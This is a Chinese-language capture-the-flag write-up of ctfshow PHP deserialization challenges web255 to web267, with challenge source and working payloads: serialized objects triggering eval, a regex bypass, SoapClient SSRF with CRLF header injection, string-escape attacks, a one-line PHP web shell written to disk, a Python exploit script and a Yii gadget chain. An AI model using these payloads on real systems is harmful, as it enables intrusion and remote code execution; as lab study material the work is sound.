![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web255-1.png)
1
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
随后使用BP发包,记得要对序列化内容进行url编码 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web255-2.png) 不一定要账号密码都为xxxxxx,只要序列化的时候isVIP为true,账号密码可以任意填,比如 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web255-3.png) ### web256
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这次多了一个条件`$this->username!==$this->password`这两个值判断结果不能一样,那么我们在序列化的时候设置不一样的用户和密码就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
#-- coding: utf-8 --
#Author: MTRleed
#file: web256.php
#time: 2023/10/8 14:55

class ctfShowUser
{
public $username = 'MTRleed';
public $password = '123456';
public $isVip = true;
}

$a = new ctfShowUser();
echo serialize($a);

![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web256-1.png)
1
O:11:"ctfShowUser":3:{s:8:"username";s:7:"MTRleed";s:8:"password";s:6:"123456";s:5:"isVip";b:1;}
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web256-2.png) ### web257
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

首先分析一下里面的3个类,`ctfShowUser`类,先会实例化一个`info`对象,然后调用`login`方法,最后销毁对象时触发对`getInfo()`方法的调用,但是调用的是`info`中的,`backDoor`类中有对`getInfo()`方法的定义,是`eval`命令对`$code`进行执行。`info`类最终会返回用户名。序列化处 `$user = unserialize($_COOKIE['user']);` 思路:序列化一个对象能触发`backDoor`,构造恶意代码让`eval`执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfShowUser{
private $class='backDoor'; //可以public
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat flag.php");'; //可以public
}

$a = new ctfShowUser();
echo serialize($a) . "\n";
echo urlencode(serialize($a)); //对序列化结果进行url编码。在网站在线url编码不可以将私有属性编码会导致序列化失败
?>
序列化结果
1
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web257-1.png) ### web258
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

在上一题的基础上对输入做了正则过滤`'/[oc]:\d+:/i'`,并且将所以属性设置为公有 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web258-1.png) 在数字前添加`+`号可以绕过 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web258-2.png)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfShowUser{
public $class='backDoor';//只能为public
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat flag.php");';//只能为public
}

$a = new ctfShowUser();
echo serialize($a) . "\n";
echo urlencode(serialize($a));
?>
序列化结果
1
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("cat flag.php");";}}
在数字前插入`+`号,记得`url`编码
1
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system(%22cat%20flag.php%22)%3B%22%3B%7D%7D
### web259(SoapClient特殊) 本题与其他题目稍有不一样,可以看合天的文章学习`https://zhuanlan.zhihu.com/p/80918004` **SoapClient** > SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用 __call 方法 下面编写一个demo,调用不存在的方法,使`SoapClient`类去调用`__call`方法
1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'aaa', 'location'=>'http://127.0.0.1:5555/path')); //实例化对象
$b = serialize($a); //序列化对象
echo $b;
$c = unserialize($b); //反序列化对象数据
$c->test(); //对象调用不存在的test()方法
运行 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web259-1.png) 监听 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web259-2.png) **CRLF漏洞** > CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS 在上面的图中,我们可以看到,`SOAPAction`是可控的点,我们注入两个`\r\n`来控制POST请求头
1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>"aaa\r\n\r\nbbb\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->test();
运行,监听 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web259-4.png) ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web259-3.png) CRLF的效果出现了 但还有一个问题需要解决,POST数据指定请求头为`Content-Type:application/x-www-form-urlencoded`,我们需要控制`Content-Type`,但从上图中可以发现它位于`SOAPAtion`上方。 继续往上,可以发现`User-Agent`位于`Content-Type`上方,这个位置也可以进行注入,所以我们再`User-Agent`进行注入
1
2
3
4
5
6
7
<?php
$post_string = "test=flagflag";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1:5555/path', 'user_agent'=>"Firefox\r\nContent-Type:application/x-www-form-urlencoded\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->test();
运行,监听 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web259-5.png) ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web259-6.png) 如图,构造任意post请求成功!到此,一系列流程都弄懂后,我们回到题目本身 **flag.php**
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

**index.php**
1
2
3
4
5
6
PHP
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
相关参数都给足了,利用ssrf访问flag.php,然后构造post数据`token=ctfshow`还有xff请求头,paylaod如下
1
2
3
4
5
<?php
$post_string = "token=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"test\r\nContent-Type:application/x-www-form-urlencoded\r\n"."X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
echo urlencode($b);
这里`X-Forwarded-For`里面需要两个`127.0.0.1`的原因是docker环境cloudfare代理所导致,具体可参考这篇文章:
1
https://support.cloudflare.com/hc/zh-cn/articles/200170986-Cloudflare-%E5%A6%82%E4%BD%95%E5%A4%84%E7%90%86-HTTP-%E8%AF%B7%E6%B1%82%E6%A0%87%E5%A4%B4-
运行php ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web259-7.png)
1
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A127%3A%22test%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
使用get方式以vip参数传入 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web259-8.png) 随后访问`flag.txt`即可得到flag ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web259-9.png) ### web260
1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
如果`ctfshow`参数是`ctfshow_i_love_36D`就打印,水题??? ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web260.png) ### web261
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){ //0x36d 十进制是877,弱比较
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);
观察代码,可以发现`__invoke`有命令执行,`__destruct`有文件写入;注意到有一个`__unserialize`魔术方法 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web261-1.png) 显然 > 如果 `__unserialize()` 和 `__wakeup()`两个魔术方法都定义在同一个对象中, 则只有 `__unserialize()` 方法会生效,`__wakeup()` 方法会被忽略。 所以我们只用观察`__unserialize`魔术方法,可以发现将传进的`username`和`password`会拼接到`code`中,而在`__destruct`中会判断`code`,接着写入文件 很明显这里是一个弱比较,直接构造payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
#-- coding: utf-8 --
#Author: MTRleed
#file: web561.php
#time: 2023/11/2 14:22

class ctfshowvip
{
public $username = "877.php";
public $password = '<?php @eval($_POST[test]);?>';
}

$a = new ctfshowvip();
echo (serialize($a));
传入
1
O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A28%3A%22%3C%3Fphp%20%40eval(%24_POST%5Btest%5D)%3B%3F%3E%22%3B%7D
随后访问`887.php`文件执行命令 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web261.png) ### web262(cookie反序列化字符串逃逸)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);
南神说本题考的是一个简单的反序列化字符串逃逸,在看题之前,我们简单了解一下知识点,我们先看一段代码
1
2
3
4
5
6
7
8
<?php
class test{
public $username = "user";
public $password = "user";
}
$a = new test();
$b = serialize($a);
var_dump($b);
结果是
1
string(67) "O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"user";}"
但是当我们反序列化一个
1
2
$c = 'O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"test";}user";}';
var_dump(unserialize($c));
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web262.png) 可以看到`password`的值从`user`变成了`test`,也就是`user";}`被忽略了 回到题目 注释里提示`# @message.php`,访问`message.php`看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这说如果`if($msg->token=='admin'){echo $flag;}`打印 flag,但是token题目写死是user,要想办法将它忽略掉。 正常情况下,如果我们分别给f、m、t传入a时message序列化后长这样:
1
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"a";s:2:"to";s:1:"a";s:5:"token";s:4:"user";}//token为user
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web262-1.png) 那么现在我们构造序列化内容就需要有
1
";s:5:"token";s:5:"admin";} //共27字符
假如我们向to属性传递 `t=";s:5:"token";s:5:"admin";}` 字符串就变为了下面这样,我们要将末尾的`";s:5:"token";s:4:"user";}"`绕过
1
"O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"a";s:2:"to";s:27:"";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}"
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web262-2.png) 我们对字符串进来了闭合,这样我们就可以控制token属性的值了,但我们也会发现一点,to属性值的长度变为了27。 反序列化时,如果为27则会匹配后面27个字符,这样闭合就没有效果。可以发现 token 的值还是 user ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web262-4.png) 这时候题目中的替换字符函数可以帮助到我们
1
$umsg = str_replace('fuck', 'loveU', serialize($msg));
str_replace会将fuck替换为loveU,且替换是在序列化之后进行的,也就是说,实际字符串长度增加了1,但标明的字符串长度任然为原值
1
2
3
4
// 替换前
s:2:"to";s:4:"fuck";
// 替换后
s:2:"to";s:4:"loveU";
通过这种方法,我们就可以凭空增加字符,来成功进行闭合
1
2
3
4
// t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
// 后面多出27个字符,所以我们写27个fuck,替换为loveU后,增加了27个字符,来达到字符串逃逸


payload执行后的序列化长这样:
1
"O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"a";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}"
这样,;s:5:"token";s:4:"user";}"就被忽略掉了。反序列化后可以看到 token 的值变为了 admin ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web262-3.png) 所以payload
1
?f=a&m=a&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
随后访问 message.php 得到flag ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web262-5.png) ### web263 访问显示web页面 ![image-20231102170003396](C:\Users\MTRleed\AppData\Roaming\Typora\typora-user-images\image-20231102170003396.png) dirsearch 扫描,发现`www.zip` ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web263-1.png) 解压查看代码 index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>
在 index.php 我们发现$_SESSION['limit']我们可以进行控制 flag在flag.php处,目测需要rce
1
$flag="flag_here";
inc.php 设置了session的序列化引擎为php,很有可能说明默认使用的是php_serialize
1
ini_set('session.serialize_handler', 'php');
并且inc.php中有一个User类的__destruct含有file_put_contents函数,并且username和password可控
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

> file_put_contents():将一个字符串写入文件 > > **file_put_contents** (文件名 , 文件内容) 存在文件写入函数,所以写入一句话即可,payload如下
1
2
3
4
5
6
7
8
9
<?php
class User{
public $username = 'mtrleed.php';
public $password = '<?php system("tac flag.php");?>';
public $status='mtrleed';

}
$a=new User();
echo base64_encode('|'.serialize($a));
运行后得到
1
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czoxMToibXRybGVlZC5waHAiO3M6ODoicGFzc3dvcmQiO3M6MzE6Ijw/cGhwIHN5c3RlbSgidGFjIGZsYWcucGhwIik7Pz4iO3M6Njoic3RhdHVzIjtzOjc6Im10cmxlZWQiO30=
然后存进cookie中,带着cookie去访问`index.php`,接着访问`inc/inc.php`,然后就会生成文件`log-mtrleed.php`,可以直接写一个脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web263
# time: 2023/11/7 10:09

import requests
url = "http://568690f1-fd37-4dc4-b3ae-e6dd156778c6.challenge.ctf.show/"
cookies = {"PHPSESSID": "8933m39bs8njm7gv17li7p4c87", "limit": "fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czoxMToibXRybGVlZC5waHAiO3M6ODoicGFzc3dvcmQiO3M6MzE6Ijw/cGhwIHN5c3RlbSgidGFjIGZsYWcucGhwIik7Pz4iO3M6Njoic3RhdHVzIjtzOjc6Im10cmxlZWQiO30="}
res1 = requests.get(url + "index.php", cookies=cookies)

res2 = requests.get(url + "inc/inc.php", cookies=cookies)

res3 = requests.get(url + "log-mtrleed.php", cookies=cookies)
print(res3.text)
脚本访问 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web263-3.png) 手工访问 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web263-2.png) ### web264(session反序列化字符串逃逸) index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);
message.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
和web262差不多,可以使用前面的payload打,但是在访问 message.php 时需要`coookie`中的`msg`有值,因为`message.php`有如下判断
1
2
3
4
5
6
7

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web264.png) web262 的包是这样的 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web264-1.png) ### web265
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}
考察php按地址传参 看了一下代码逻辑,很显然,`$ctfshow`接收传进来的反序列化内容,然后把类中的token赋值为随机数。然后调用`login`方法,只有`token===password`才会输出flag;而我们怎么才能定义`password`的内容等于我们未知的随机数呢?我们可以采用php变量引用的方式
1
2
3
<?php
$a =&$b;
?>
> 注意:$a和$b是指向同一个地方,而不是$a指向了$b,亦或$b指向$a 所以payload为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
#-- coding: utf-8 --
#Author: MTRleed
#file: web265.php
#time: 2023/11/7 11:36

class ctfshowAdmin{
public $token = "mtrleed";
public $password = "mtrleed";
public function login(){
return $this->token===$this->password;
}
}

$a = new ctfshowAdmin();
$a ->token=&$a ->password;
echo urlencode(serialize($a));
### web266
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');

class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

这题的话只要绕一个正则就行,绕过了自然在结束的时候触发`__destruct`魔术方法输出flag。有的同学问这里怎么传参,还不知道的同学该去复习一下文件包含专题啦。
1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function login(){
return $this->username===$this->password;
}
}

$a = serialize(new ctfshow());
echo $a;
运行后得到
1
O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
ctfshow 这任意大写一个字母即可绕过正则 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web265.png) ### web267(Yii反序列化漏洞) 打开是这样一个页面 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267.png) 在login页面 admin:admin 弱口令登录成功,但是没什么有用信息 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-1.png) 在about页面查看源代码发现提示 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-2.png) 那么我们访问 `/index.php?r=site%2Fabout&view-source`看看,发现一点有用信息,注释说是一个后门 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-3.png) 应该是直接访问`/backdoor/shell`然后构造命令,但是信息收集不够,还不具备条件 继续信息收集发现是yii, ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-4.png) ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web267-5.png) 参考博客 [yii反序列化漏洞复现及利用.mhtml](离线网页\yii反序列化漏洞复现及利用.mhtml)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
